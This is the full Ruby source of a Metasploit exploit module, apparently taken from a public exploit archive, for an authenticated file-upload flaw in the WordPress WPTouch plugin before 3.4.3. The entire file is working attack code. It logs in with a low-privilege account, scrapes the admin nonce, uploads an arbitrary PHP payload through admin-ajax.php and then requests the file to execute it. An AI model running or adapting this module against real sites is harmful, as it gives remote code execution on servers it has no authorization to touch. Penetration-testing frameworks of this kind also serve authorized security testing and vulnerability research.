Wordpress WPTouch Authenticated File Upload

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::HTTP::Wordpress  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Wordpress WPTouch Authenticated File Upload',  
'Description' => %q{  
The Wordpress WPTouch plugin contains an auhtenticated file upload  
vulnerability. A wp-nonce (CSRF token) is created on the backend index  
page and the same token is used on handling ajax file uploads through  
the plugin. By sending the captured nonce with the upload, we can  
upload arbitrary files to the upload folder. Because the plugin also  
uses it's own file upload mechanism instead of the wordpress api it's  
possible to upload any file type.  
The user provided does not need special rights. Also users with "Contributer"  
role can be abused.  
},  
'Author' =>  
[  
'Marc-Alexandre Montpas', # initial discovery  
'Christian Mehlmauer' # metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'http://blog.sucuri.net/2014/07/disclosure-insecure-nonce-generation-in-wptouch.html' ]  
],  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' => [ ['wptouch < 3.4.3', {}] ],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jul 14 2014'))  
  
register_options(  
[  
OptString.new('USER', [true, "A valid username", nil]),  
OptString.new('PASSWORD', [true, "Valid password for the provided username", nil]),  
], self.class)  
end  
  
def user  
datastore['USER']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def check  
readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wptouch', 'readme.txt')  
res = send_request_cgi({  
'uri' => readme_url,  
'method' => 'GET'  
})  
# no readme.txt present  
if res.nil? || res.code != 200  
return Msf::Exploit::CheckCode::Unknown  
end  
  
# try to extract version from readme  
# Example line:  
# Stable tag: 2.6.6  
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]  
  
# readme present, but no version number  
if version.nil?  
return Msf::Exploit::CheckCode::Detected  
end  
  
vprint_status("#{peer} - Found version #{version} of the plugin")  
  
if Gem::Version.new(version) < Gem::Version.new('3.4.3')  
return Msf::Exploit::CheckCode::Appears  
else  
return Msf::Exploit::CheckCode::Safe  
end  
end  
  
def get_nonce(cookie)  
res = send_request_cgi({  
'uri' => wordpress_url_backend,  
'method' => 'GET',  
'cookie' => cookie  
})  
  
# forward to profile.php or other page?  
if res and res.code.to_s =~ /30[0-9]/ and res.headers['Location']  
location = res.headers['Location']  
print_status("#{peer} - Following redirect to #{location}")  
res = send_request_cgi({  
'uri' => location,  
'method' => 'GET',  
'cookie' => cookie  
})  
end  
  
if res and res.body and res.body =~ /var WPtouchCustom = {[^}]+"admin_nonce":"([a-z0-9]+)"};/  
return $1  
else  
return nil  
end  
end  
  
def upload_file(cookie, nonce)  
filename = "#{rand_text_alpha(10)}.php"  
  
data = Rex::MIME::Message.new  
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"myfile\"; filename=\"#{filename}\"")  
data.add_part('homescreen_image', nil, nil, 'form-data; name="file_type"')  
data.add_part('upload_file', nil, nil, 'form-data; name="action"')  
data.add_part('wptouch__foundation__logo_image', nil, nil, 'form-data; name="setting_name"')  
data.add_part(nonce, nil, nil, 'form-data; name="wp_nonce"')  
post_data = data.to_s  
  
print_status("#{peer} - Uploading payload")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => wordpress_url_admin_ajax,  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => post_data,  
'cookie' => cookie  
})  
  
if res and res.code == 200 and res.body and res.body.length > 0  
register_files_for_cleanup(filename)  
return res.body  
end  
  
return nil  
end  
  
def exploit  
print_status("#{peer} - Trying to login as #{user}")  
cookie = wordpress_login(user, password)  
if cookie.nil?  
print_error("#{peer} - Unable to login as #{user}")  
return  
end  
  
print_status("#{peer} - Trying to get nonce")  
nonce = get_nonce(cookie)  
if nonce.nil?  
print_error("#{peer} - Can not get nonce after login")  
return  
end  
print_status("#{peer} - Got nonce #{nonce}")  
  
print_status("#{peer} - Trying to upload payload")  
file_path = upload_file(cookie, nonce)  
if file_path.nil?  
print_error("#{peer} - Error uploading file")  
return  
end  
  
print_status("#{peer} - Calling uploaded file #{file_path}")  
res = send_request_cgi({  
'uri' => file_path,  
'method' => 'GET'  
})  
end  
end  
`